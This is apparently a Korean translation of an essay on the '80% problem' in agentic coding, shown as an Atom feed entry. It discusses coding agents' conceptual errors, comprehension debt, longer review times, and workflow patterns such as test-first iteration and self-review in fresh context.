&lt;p&gt;수공예와 명상 같이 코드 쓰는 행위 자체를 이 전환이 상실처럼 느껴질 수 있습니다. 하지만 만드는 걸 좋아하고 코드가 수단이었던 사람에게는 해방처럼 느껴질 것입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;어느 쪽도 틀린 건 아닙니다. 하지만 요즘의 도구는 후자에 맞춰 최적화되고 있습니다.&lt;/p&gt;
&lt;h2 id="회의론자에게회의적인-건-맞다"&gt;회의론자에게(회의적인 건 맞다)&lt;/h2&gt;
&lt;p&gt;생산성에 대한 주장들은 종종 과장되어 있습니다. AI는 여전히 유능한 주니어 개발자라면 하지 않을 실수를 합니다. 이해 부채는 실제로 존재하며, 아직 충분히 이해되지도 않았습니다. 슬로파칼립스의 위험도 현실적입니다.&lt;/p&gt;
&lt;p&gt;그럼에도 전환은 이뤄지고 있음은 분명합니다. 카파시가 이제 직접 거의 코드를 쓰지 않는다고 했고, 클로드 코드 팀이 100% AI 작성 코드로 매일 20개 이상 PR 올리고 있다면, 과장으로 치부할 단계는 지났습니다.&lt;/p&gt;
&lt;p&gt;소프트웨어 엔지니어로서 우리 정체성은 "코드를 쓸 수 있는 사람"이 아니라 "소프트웨어로 문제를 해결할 수 있는 사람"이었습니다.&lt;/p&gt;
&lt;p&gt;AI가 엔지니어를 대체하는 게 아닙니다. 좋든 나쁘든 증폭하고 있을 뿐입니다.&lt;/p&gt;
&lt;p&gt;제 조언은 이렇습니다. 도구는 받아들이되, 결과의 책임은 스스로 지세요. AI를 학습을 가속하는 도구로 사용하되, 학습을 건너뛰는 수단으로 쓰지 마세요. 그리고 그 어느 때보다 중요한 기본기에 집중하세요. 견고한 아키텍처, 읽기 쉬운 코드, 꼼꼼한 테스트, 사려 깊은 UX 등 이것들은 여전히 중요합니다. 어쩌면 구현이 더 이상 병목이 아닌 지금, 오히려 더 중요해졌을지도 모릅니다.&lt;/p&gt;
&lt;p&gt;이게 어디로 향할지는 저도 모릅니다. 코딩을 좋아한 사람과 만드는 걸 좋아한 사람으로 나뉠 거라는 카파시 말이 맞을지도 모릅니다. 우리는 그저 PR 하나씩 쌓아가면서 개방된 공간에서 이 변화를 직접 느끼고 있습니다.&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://velog.io/@typo/80-problem-in-agentic-coding</id>
    <link href="https://velog.io/@typo/80-problem-in-agentic-coding"/>
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;이 글은 원저자의 허가 하에 &lt;a href="https://addyo.substack.com/p/the-80-problem-in-agentic-coding"&gt;The 80% Problem in Agentic Coding&lt;/a&gt; 아티클을 한국어로 번역한 글입니다. 약간의 의역 및 오역이 포함될 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://open.substack.com/users/23972309-andrej-karpathy?utm_source=mentions"&gt;앤드레이 카파시&lt;/a&gt;가 이번 주에 한 말 덕분에 많은 생각을 하게 됐습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;저는 80%의 수동 코딩과 20%의 자동완성 및 에이전트 코딩에서, 80%의 에이전트 코딩과 20%의 수정 코딩으로 넘어갔습니다. 이제 대부분 영어로만 프로그래밍하고 있습니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이런 전환이 2025년 말 몇 주 만에 일어났습니다. 기존 레거시 앱보단 새로 시작하는 개인 프로젝트에선 확실히 더 빠르게 전환이 이루어질 것이고, &lt;strong&gt;AI가 우리를 데려다주는 수준은 1년 전보다 더 올라갔을 거라고&lt;/strong&gt; 생각합니다. 모델, 스펙, 스킬, MCP, 그리고 우리 워크플로가 나아진 덕분입니다.&lt;/p&gt;
&lt;p&gt;최근 클로드 코드를 만든 보리스 체르니도 비슷한 얘기를 했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;저희 코드는 거의 100%, 클로드 코드와 오퍼스 4.5로 작성됩니다. 저 개인적으로는 2개월 넘게 100% 그렇게 개발했고, 작은 수정도 직접 하지 않습니다. 어제 PR 22개, 그저께 27개를 올렸는데, 전부 클로드가 쓴 겁니다. 몇 달 안에 업계 대부분도 비슷한 수치를 보게 될 것 같아요. 그 전환이 얼마나 빨리 이루어지는 정도의 차이일 뿐입니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;저는 예전에 &lt;a href="https://addyo.substack.com/p/the-70-problem-hard-truths-about"&gt;&amp;quot;70% 문제&amp;quot;&lt;/a&gt;에 대해 쓴 적이 있습니다. AI 코딩이 70%를 차지하고, 마지막 30% 구간만 사람이 채우는 구도에 대한 내용이었습니다. 하지만 문제의 틀이 바뀌고 있는 것 같습니다. AI가 차지하는 숫자는 80% 혹은 그 이상이 될 수 있지만, 그것보단 문제 자체가 크게 달라졌습니다.&lt;/p&gt;
&lt;p&gt;아르민 로나허의 개발자 5,000명을 대상으로 한 &lt;a href="https://x.com/mitsuhiko/status/2010446141817844207"&gt;설문&lt;/a&gt;이 제 가설을 뒷받침합니다. 답변자 44%가 직접 작성하는 코드는 10% 미만에 불과하며, 그 외 26%는 10~50% 정도를 직접 작성한다고 합니다. 한계선을 넘어버린 것입니다. 그런데 에이전트 만능 담론에서 놓치고 있는 게 있습니다. 문제는 사라진 것이 아니라 옮겨갔을 뿐이고, 어떤 건 더 나빠졌다는 사실입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;한 가지 짚어보자면, 새 사이드 프로젝트에서는 80% 이상 에이전트 코딩으로 넘어가는 걸 확실히 느꼈습니다. 하지만 대형·기존 앱, 특히 팀 프로젝트의 상황은 많이 다릅니다. 기대치도 다를 뿐더러, 에이전트 코딩으로의 전환은 앞으로 우리가 갈 방향의 맛보기일 뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="실수의-형태가-바뀌었습니다"&gt;실수의 형태가 바뀌었습니다&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AI 오류는 문법 오류에서 개념 오류로 옮겨갔습니다. 시간에 쫓기는 주니어 개발자가 할 법한 실수입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;카파시가 여전히 발생하는 문제들을 정리했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;AI 모델이 당신을 대신해 잘못된 가정을 세우고 확인 절차 없이 그대로 밀고 나갑니다. 혼란이 있어도 정리하지 않고, 애매한 점은 묻지 않고, 불일치를 드러내지 않고, 트레이드오프를 제시하지 않고, 반박해야 할 때도 반박하지 않습니다. 여전히 과하게 우리의 편을 들고 있습니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;가정 전파(Assumption propagation)&lt;/strong&gt;: 모델이 초반에 잘못 이해한 전제 위에 전체 기능을 쌓습니다. PR 다섯 개쯤 들어가고 아키텍처가 굳어져서야 개발자가 눈치챕니다. 일종의 두 걸음 뒤로 가는 패턴입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;추상화 비대화(Abstraction bloat)&lt;/strong&gt;: 에이전트에게 제약을 주지 않으면 끝없이 과하게 복잡하게 만들 수도 있습니다. 100줄이면 충분한 코드를 1,000줄 짜리로 만들고, 함수 하나면 될 곳에 클래스 계층을 늘어 놓습니다. 적극적으로 &amp;quot;그냥 이렇게만 하면 안 돼?&amp;quot;라고 말해야 합니다. 에이전트는 항상 &amp;quot;물론이죠!&amp;quot;라고 답하고 바로 단순화 작업을 진행합니다. 유지보수성보다는 다 갖춘 것처럼 보이게 하는 작업에 최적화되어 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;죽은 코드의 축적(Dead code accumulation)&lt;/strong&gt;: 스스로 정리를 하지 않습니다. 예전 구현이 그대로 남기도 하고, 주석이 부수 효과로 사라지기도 하고, 잘 이해하지 못한 코드도 작업 범위에 가깝다는 이유로 수정해 버립니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;아부성 동의(Sycophantic agreement)&lt;/strong&gt;: 반박을 잘 하지 않습니다. &amp;quot;정말 그런가요?&amp;quot;, &amp;quot;다른 접근도 고려해 보셨나요?&amp;quot; 같은 말은 하지 않습니다. 여러분의 설명이 불완전하거나 모순돼 있어도 그저 열심히 실행할 뿐입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;무엇을 경계해야 할지 안다면 스킬과 같은 방법으로 문제를 어느 정도 완화할 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;시스템 프롬프트, CLAUDE.md 지시, 플랜 모드만으로 문제가 다 고쳐지는 건 아닙니다. 수정해야 할 버그가 아니라, 시스템이 동작하는 방식 자체에서 기인하는 경우가 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;에이전트는 입력받은 전제에 의문을 품기보단, 일관되게 출력하도록 최적화되어 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;저도 팀에서 비슷한 문제를 본 적이 있습니다. 리뷰할 땐 멀쩡해 보이던 코드가, 세 커밋 뒤에 누군가 인접 시스템을 건드리면 깨져버리는 경우였습니다.&lt;/p&gt;
&lt;p&gt;데이터 관점에서 보자면, 최근 &lt;a href="https://www.sonarsource.com/blog/ai-coding-trust-gap/"&gt;설문조사&lt;/a&gt;에서는 이른바 &amp;quot;검증 병목&amp;quot; 현상이 나타났다고 합니다. 개발자의 48%만이 AI 보조 코드를 커밋 전에 반드시 확인하고 있으며, 38%는 사람이 쓴 코드보다 AI가 만든 코드를 리뷰하는 게 더 힘들다고 답했습니다. 우리는 더 빠르게 &amp;quot;정답처럼 보이는 코드&amp;quot;를 만들어 내고 있지만, 동시에 기술 부채도 더 빠르게 쌓고 있을지 모릅니다.&lt;/p&gt;
&lt;h2 id="이해-부채---우리가-따로-세지-않는-숨은-비용"&gt;이해 부채 - 우리가 따로 세지 않는 숨은 비용&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;코드 생성과 판별은 서로 다른 인지 능력입니다. 코드를 작성하는 능력이 퇴화하더라도, 리뷰하는 능력은 비교적 유지될 수 있습니다. 하지만 &amp;quot;리뷰&amp;quot;가 &amp;quot;형식적 승인&amp;quot;으로 변모하기도 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/jeremytwei/status/2015886793955229705"&gt;제레미 트웨이&lt;/a&gt;가 이런 현상을 &lt;em&gt;&amp;quot;이해 부채&amp;quot;&lt;/em&gt; 라는 용어로 정확하게 표현했습니다. LLM이 한 번에 그럴듯하게 동작하는 코드를 만들면 그냥 넘어가고 싶어지는 유혹은 꽤 큽니다. 문제는 그다음입니다. 에이전트는 지치지 않습니다. 본인의 확신을 잃지 않고 구현 위에 구현을 쌓아 올립니다. 코드는 그럴듯해 보이고, 테스트는 통과합니다(또는 그렇게 보입니다). 출시 압박이 있는 우리는 그냥 다음 단계로 넘어가게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;그렇게 시간이 지나면서 개발자는 코드베이스를 점점 덜 이해하지 못하게 될 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;저도 지난주에 이런 경험을 했습니다. 클로드가 제가 며칠 미뤄두던 기능을 구현해줬습니다. 테스트는 통과했고, 대충 훑고 고개 끄덕인 다음 병합했습니다. 그리고 사흘 뒤, 저는 동작 방식을 설명할 수 없었습니다.&lt;/p&gt;
&lt;p&gt;요코 리는 이 중독 루프를 잘 &lt;a href="https://x.com/stuffyokodraws/status/2013373307291340870"&gt;포착했습니다.&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;에이전트가 대단한 기능을 구현해 줬는데 딱 10%쯤 틀려 있습니다. &amp;#39;5분만 더 프롬프트를 다듬으면 고칠 수 있겠다&amp;#39; 생각하지만, 5시간이 흘러 버립니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;우리는 항상 거의 다 온 것처럼 느낍니다. 마지막 10%는 손에 잡힐 듯 가깝게 느껴집니다. 프롬프트 한 번만 더 다듬고 반복하면 될 것 같습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://news.ycombinator.com/user?id=vibeprofessor"&gt;누군가&lt;/a&gt; 이렇게 말했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;저는 대부분의 시간을 에이전트를 돌보는 데 씁니다. 거의 만능 비서를 쓰는 듯한 느낌은 드는데, 일일이 관리하는 비용도 만만치 않습니다. 이제 코딩을 하는 게 아니라 감독하고 있습니다. 지켜보고, 방향 잡아 주고. 또 다른 종류의 피로감이 듭니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;위험은 바로 이 지점에 있습니다. 직접 다시 짤 수 없는 코드를 리뷰하는 건 너무 쉽습니다.&lt;/strong&gt; &amp;quot;읽는&amp;quot; 능력이 에이전트의 &amp;quot;출력&amp;quot; 능력만큼 커지지 않으면, 더 이상 엔지니어링이 아닙니다. 코드가 잘 구현되길 바라고 있을 뿐입니다.&lt;/p&gt;
&lt;h2 id="생산성-역설---더-많은-코드-비슷한-처리량"&gt;생산성 역설 - 더 많은 코드, 비슷한 처리량&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;에이전트 도입이 많은 팀에서는 개인 산출량이 98% 늘었지만, PR 리뷰 시간 또한 최대 91%까지 늘었습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.faros.ai/blog/key-takeaways-from-the-dora-report-2025"&gt;Faros AI&lt;/a&gt;와 구글 &lt;a href="https://dora.dev/research/2025/dora-report/"&gt;DORA 리포트&lt;/a&gt; 데이터가 흥미로운 결과를 보여줍니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;에이전트 도입이 높은 팀은 머지한 PR이 98% 더 많았습니다.&lt;/li&gt;
&lt;li&gt;동시에 해당 팀들의 리뷰 시간은 91%까지 늘어났습니다.&lt;/li&gt;
&lt;li&gt;PR 크기는 평균 154% 증가했습니다.&lt;/li&gt;
&lt;li&gt;코드 리뷰가 새로운 병목이 됐습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;아틀라시안 2025 설문은 이 역설을 뚜렷하게 보여 줍니다. AI를 사용하는 개발자 99%가 주당 10시간 이상 절약했다고 했는데, 그럼에도 대부분은 &lt;em&gt;업무량이 줄었다고 느끼지 않았습니다&lt;/em&gt;. 코드 작성에서 아낀 시간은 조직적 마찰로 소모됐습니다. 잦은 컨텍스트 스위칭, 더 큰 협업 비용, 더 많은 변경 사항을 관리하는 부담이 아낀 시간을 잠식해 버렸습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;우리는 더 빠른 차를 얻었지만, 도로는 더 막혀가고 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;더 많은 코드가 작성되는 동시에 그것을 검토하는 데 더 많은 시간을 쓰고 있습니다. 병목은 사라지지 않았습니다. 위치만 옮겨갔을 뿐입니다. 어떤 자원이 더 저렴해지면(여기선 코드 생성의 비용), 소비는 효율 개선 속도보다 더 빠르게 증가하고, 결국 전체 자원 사용량은 오히려 늘어납니다.&lt;/p&gt;
&lt;p&gt;우리는 코드를 덜 쓰고 있는 게 아닙니다. &lt;em&gt;훨씬&lt;/em&gt; 더 많은 코드를 쓰고 있고, 여전히 누군가는 그 대부분을 이해해야 합니다. 물론, AI가 그 역할까지 대신할 수 있다면 더 이상 그럴 필요가 없다고 느끼는 개발자들도 존재합니다.&lt;/p&gt;
&lt;h2 id="82-비율이-통하는-경우"&gt;8:2 비율이 통하는 경우&lt;/h2&gt;
&lt;p&gt;새로 시작하는 프로젝트라면, 에이전트 코딩이 8할을 차지해도 괜찮습니다. 전체 스택을 직접 통제할 수 있고, 팀 규모가 작아 이해 부채가 관리 가능한 수준에 머물기 때문입니다.&lt;/p&gt;
&lt;p&gt;실제로 이런 경우에선 잘 맞습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;전부 직접 통제하는 개인 프로젝트&lt;/li&gt;
&lt;li&gt;&amp;quot;충분히 괜찮은 정도&amp;quot;가 진짜 충분한 MVP&lt;/li&gt;
&lt;li&gt;레거시 제약 없는 스타트업&lt;/li&gt;
&lt;li&gt;이해 부채가 감당 가능할 만큼 작은 팀&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이런 환경에서는 에이전트의 약점이 치명적이지 않습니다. 빠르게 스캐폴딩하고, 과감히 리팩터링하고, 정치적 마찰 없이 코드를 버릴 수 있습니다. 가끔의 잘못된 판단보단 빠르게 반복하는 게 더 큰 가치를 가집니다.&lt;/p&gt;
&lt;p&gt;하지만 복잡한 로직이 얽혀 있고, 오래된 코드베이스에서는 그렇지 않습니다. 에이전트는 자기가 무엇을 모르는지 모릅니다. 문서화되지 않은 규칙을 직관적으로 파악하지 못합니다. 맥락 이해도가 낮을수록 자신감은 오히려 더 커집니다.&lt;/p&gt;
&lt;p&gt;누군가 제가 살짝 돌려 말하던 걸 정확히 짚었습니다. 처음 90%는 쉬운데, 마지막 10%가 오래 걸릴 수 있습니다. 90% 정확도는 임무에 치명적이지 않은 부분에는 충분할 순 있지만 정말 중요한 부분에는 한참 모자랍니다. 자율주행차는 잘 달리다가도 가끔 잘못 동작하기 때문에 L2는 어디에나 있지만 L4는 아직 어려운 것입니다.&lt;/p&gt;
&lt;p&gt;비개발자에게는 벽이 낮지만 여전히 있습니다. AI 스튜디오, v0, 볼트 같은 도구로 스케치를 곧바로 동작하는 프로토타입으로 만들 수 있습니다. 하지만 그 프로토타입을 실제 사용자 데이터를 스케일로 다룬다거나, 보안과 규정을 맞추는 등의 실제 운영 환경에서 동작시키려면 여전히 엔지니어링 기본기가 필요합니다. AI는 MVP의 80% 지점까지 빠르게 데려다줍니다. 마지막 20%는 인내, 깊이 있는 학습, 또는 숙련된 엔지니어가 필요합니다.&lt;/p&gt;
&lt;h2 id="서로-다른-두-집단"&gt;서로 다른 두 집단&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;채택 곡선은 부드럽지 않습니다. 어느 순간 임계점을 넘어선 사람들과, 그렇지 않은 사람들 사이의 분리가 명확히 있습니다. 초기 적응자와 나머지 사이의 격차는 오히려 벌어지고 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;아르민의 설문조사는 단순한 채택률 숫자가 가리는 현실을 드러냈습니다. 개발자의 44%는 여전히 코드의 90% 이상을 직접 작성한다고 답했습니다. 이는 종 모양 곡선이라기보단 양봉 분포에 가깝습니다. 한쪽에는 카파시와 클로드 코드 팀처럼, 하루에도 수십 개의 PR을 배포하며 코드의 100%를 AI로 작성하고, 이전보다 훨씬 빠르게 반복하는 사람들이 있습니다. 다른 한쪽에는 대다수의 개발자들이 있습니다. 코파일럿 스타일의 도구를 점진적으로 도입하고는 있지만, 워크플로 자체를 근본적으로 바꾸지는 않은 상태입니다.&lt;/p&gt;
&lt;p&gt;세대 차이도 담론 속에서 보입니다. 젊은 개발자들은 워크플로를 급진적으로 바꾸는 데 더 개방적인 경향이 있습니다.
나이가 더 많은 개발자들은 더 회의적입니다. 도구를 못 써서가 아니라, 일시적인 생산성 상승과 지속 가능한 실천을 구분할 만큼 많은 사이클을 겪어왔기 때문입니다. 어쩌면 둘 다 맞을지도 모릅니다.&lt;/p&gt;
&lt;p&gt;스택 오버플로 2025 설문에 따르면, &amp;quot;생산성이 크게 향상되었다&amp;quot;고 답한 사람은 16%에 불과했습니다. 절반은 소폭의 개선만을 경험했다고 답했습니다. 불만 사항은 &amp;quot;AI 솔루션이 거의 맞지만, 완전히 맞지는 않음&amp;quot;(66%), “AI 코드 디버깅이 직접 쓰는 것보다 오래 걸림”(45%)순으로 답변했습니다.&lt;/p&gt;
&lt;p&gt;2026년에 잘 적응한 엔지니어들은 단순히 더 좋은 도구를 쓰는 사람들이 아닙니다. 역할을 &lt;em&gt;구현자&lt;/em&gt;에서 &lt;em&gt;오케스트레이터&lt;/em&gt;로 재정의하고, 명령형이 아니라 선언형으로 생각하는 법을 익힌 것입니다. 이제 자신의 일이 한 줄 한 줄 코드를 작성하는 것이 아니라, 아키텍처를 감독하고 품질을 통제하는 것임을 받아들였습니다.&lt;/p&gt;
&lt;p&gt;반면 어려움을 겪는 사람들은 AI를 더 빠른 타자기처럼 사용하려 할 뿐, 워크플로를 바꾸지 않았습니다. 에이전트의 접근 방식을 활용하기보다, 그 방식과 싸우고 있습니다. 효과적으로 프롬프트를 작성하는 법을 배우는 데 충분히 투자하지 않았습니다. 하지만 이제는 과거에 좋은 문서나 설계 명세를 작성하는 것만큼이나 중요한 역량이 되었습니다.&lt;/p&gt;
&lt;p&gt;여기에는 불편한 진실이 있습니다.
에이전트를 오케스트레이션하는 일은 업무를 위임하고, 결과를 검토하고, 일이 엇나가면 방향을 재설정하는 일입니다. &lt;a href="https://addyosmani.com/blog/coding-agents-manager/"&gt;관리자&lt;/a&gt;와 매우 닮아 있습니다. 관리하고 싶지 않아서 엔지니어가 된 사람이라면, 이런 변화는 배신처럼 느껴질 수 있습니다. 역할이 당신 모르게 바뀌어버린 것이니까요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;격차는 계속 벌어지고 있는 듯합니다. 이 도구들과 함께 일하는 법을 터득한 사람들은 제가 따라가기 벅찰 정도로 빠르게 결과물을 내고 있습니다. 나머지는… 아직 적응하는 중입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이 분리는 누군가에게는 불편할 수 있습니다. 저는 항상 스스로를 빌더라고 생각해왔지만, 동시에 프로그래밍 자체도 즐겼습니다. 이 두 길이 이제 갈라져서 하나를 선택해야 하는 것처럼 느껴진다면, 그것은 지나치게 단순화된 해석일지도 모릅니다. 복잡한 현실을 이분법으로 밀어 넣는 것 같으니까요. 댓글 중 누군가가 이렇게 말했습니다. &amp;#39;두 관점 모두 타당하다. 단지 서로 다른 두뇌 회로를 가졌을 뿐이다. 어느 쪽도 틀리지 않았다.&amp;#39;&lt;/p&gt;
&lt;h2 id="명령형에서-선언형으로---진짜-레버리지"&gt;명령형에서 선언형으로 - 진짜 레버리지&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AI에게 무엇을 할지 일일이 지시하지 마세요. 대신 성공 기준을 주고 기준을 만족할 때까지 반복시키세요. 마법은 에이전트의 코드 &amp;quot;작성&amp;quot;에 있는 게 아니라, 여러분이 정한 조건을 만족할 때까지 반복하는 데 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;카파시의 관찰은 이 핵심을 정확히 짚습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;LLM은 특정 목표를 만족할 때까지 반복하는 데 매우 뛰어납니다. &amp;quot;인공지능의 마법&amp;quot;은 바로 여기서 나옵니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="명령형에서-선언형-개발으로의-전환"&gt;명령형에서 선언형 개발으로의 전환&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;기존 모델(명령형)&lt;/strong&gt;: “X를 받아 Y를 반환하는 함수를 작성해. 이 라이브러리 사용하고. 이 엣지 케이스 처리해. 그리고…”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;새로운 모델(선언형)&lt;/strong&gt;: &amp;quot;요구사항은 이거고, 통과해야 할 테스트는 이거고, 성공 기준은 이거야. 방법은 네가 찾아.&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;에이전트는 좌절하지 않기 때문에 새로운 모델이 통합니다. 사람이라면 인내심이 바닥나겠지만 에이전트는 계속 시도합니다. 끊임없이 반복합니다. 목적지를 명확히 지정하면, 30번 실패하더라도 결국 거기에 도달합니다.&lt;/p&gt;
&lt;h3 id="잘-작동하는-패턴"&gt;잘 작동하는 패턴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;먼저 테스트를 쓰고, 에이전트가 통과할 때까지 반복시킵니다.&lt;/li&gt;
&lt;li&gt;MCP로 브라우저에 붙여서 동작을 시각적으로 검증하게 합니다.&lt;/li&gt;
&lt;li&gt;단순하지만 올바른 버전을 먼저 구현한 뒤, 정확성을 유지하면서 최적화합니다.&lt;/li&gt;
&lt;li&gt;API 규격을 정의하고, 스펙에 맞게 구현하게 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;단, 이 모든 것은 성공 기준이 실제로 올바를 때만 통합니다. 입력이 잘못되면 출력도 잘못됩니다. 그리고 모델의 능력이 높아질수록, 그 잘못은 더 크게 증폭됩니다.&lt;/p&gt;
&lt;p&gt;이 접근으로 성공하는 개발자는 시간의 70%를 문제 정의와 검증 전략에 쓰고, 30%만 실행에 씁니다. 비율이 기존 개발 패턴과 뒤집혔지만, 총 시간은 크게 줄었습니다.&lt;/p&gt;
&lt;h2 id="슬로파칼립스는-올-것인가"&gt;슬로파칼립스는 올 것인가&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;역자주*: 슬로파칼립스(slopacolypse)란 slop(엉성한 결과물)과 apocalypse(대재앙)를 합친 단어로, AI가 만들어 내는 질 낮은 콘텐츠가 넘쳐나는 사태를 의미합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;누구나 몇 분 만에 수천 줄을 생성할 수 있게 되면, &amp;quot;이건 필요 없어&amp;quot;라고 말할 수 있는 능력이 더 가치 있게 됩니다.&lt;/p&gt;
&lt;p&gt;카파시는 이렇게 경고했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;2026년을 GitHub, 서브스택, arxiv, X/인스타, 전반적인 디지털 미디어 전반에 걸친 슬로파칼립스의 해가 될 것에 대비하고 있습니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;걱정은 단순합니다. 누구나 그럴듯해 보이는 코드, 콘텐츠, 논문, 포스트를 마음대로 대량 생성할 수 있는 세상에서 신호 대비 잡음을 어떻게 유지할 수 있을까?&lt;/p&gt;
&lt;p&gt;보리스 체르니는 반론을 제기합니다. “저는 슬로파칼립스는 오지 않을 것으로 예상합니다. 모델이 점점 덜 엉성한 코드를 쓰고 기존 코드 이슈도 잘 수정하게 될 겁니다. 그동안에는 모델이 새 컨텍스트 창에서 자신의 코드를 리뷰하게 하는 게 도움이 됩니다.”&lt;/p&gt;
&lt;p&gt;둘 다 맞을 수 있습니다. 엉성한 결과물을 대량으로 생산하는 능력은 전례 없이 커졌고, 이를 방지하는 도구도 나오고 있습니다. 문제는 어느 쪽이 더 빨리 확장되느냐입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;슬로파칼립스는 속도를 생산성으로 착각하는 사람들에 의해 가속될 것입니다.&lt;/strong&gt; 에이전트는 방향 감각이 없는 마라톤 러너와 같습니다. 방향을 주지 않으면, 벽을 향해 10마일을 전력 질주할 수도 있습니다. 필요한 지점에서 &amp;quot;코드 액션&amp;quot;을 감독하지 않으면 그렇게 됩니다.&lt;/p&gt;
&lt;h3 id="이를-잘-처리하는-팀들은"&gt;이를 잘 처리하는 팀들은&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;새로운 컨텍스트에서의 코드 리뷰: 같은 모델에게 자기 코드를 비판하게 하는 것이 어색하게 느껴질 수 있습니다 하지만 효과는 있습니다. 깨끗한 상태에서 다시 읽게 하면, 스스로의 실수를 꽤 잘 찾아냅니다.&lt;/li&gt;
&lt;li&gt;모든 단계에서의 자동 검증: CI/CD, 린터, 타입 체커, 테스트를 가드레일로 사용합니다.&lt;/li&gt;
&lt;li&gt;에이전트 자율성에 대한 의도적인 제약: 작업 범위를 한정하고, 성공 기준을 명확히 합니다.&lt;/li&gt;
&lt;li&gt;중요한 결정에 사람이 반드시 개입하는 구조: 구조의 결정은 여전히 사람이 중심에 있어야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;모델이 발전함에 따라, 카파시가 말한 코드 품질 문제, 과한 복잡화, 추상화 비대, 죽은 코드 축적의 문제는 같이 나아집니다. 하지만 완전히 사라지지는 않습니다. 그 문제들은 단순한 버그가 아니라, 시스템이 문제에 접근하는 방식에서 자연스럽게 발생하기 때문입니다.&lt;/p&gt;
&lt;h2 id="실제로-통하는-실전-패턴"&gt;실제로 통하는 실전 패턴&lt;/h2&gt;
&lt;p&gt;미래는 거시적 관점에 대한 일관된 정신 모델을 유지하면서, 미시적 전술 작업은 에이전트에게 맡길 수 있는 사람들이 쟁취하게 될 것입니다.&lt;/p&gt;
&lt;p&gt;지난 1년간 팀들이 적응하는 모습을 지켜보며, 효과적인 패턴들이 점점 분명해졌습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 에이전트 우선 초안과 짧은 반복 루프&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI를 단발성 제안 도구로 쓰지 마세요. 전체 초안을 생성하게 한 뒤, 그 위에서 다듬으세요. 클로드 코드 팀은 모델이 작성한 코드를 새로운 컨텍스트 창에서 스스로 리뷰하게 합니다. 이렇게 하면 사람이 리뷰하기 전에 상당수의 문제를 걸러낼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 선언형 소통&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;노력의 70%는 문제 정의에, 30%는 실행에 씁니다. 포괄적인 명세를 작성하고, 명확한 성공 기준를 정의하고, 테스트 케이스를 미리 제공하세요. 에이전트에게 방법을 지시하지 말고, 목표를 안내하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 자동 검증&lt;/strong&gt;&lt;/p&gt;
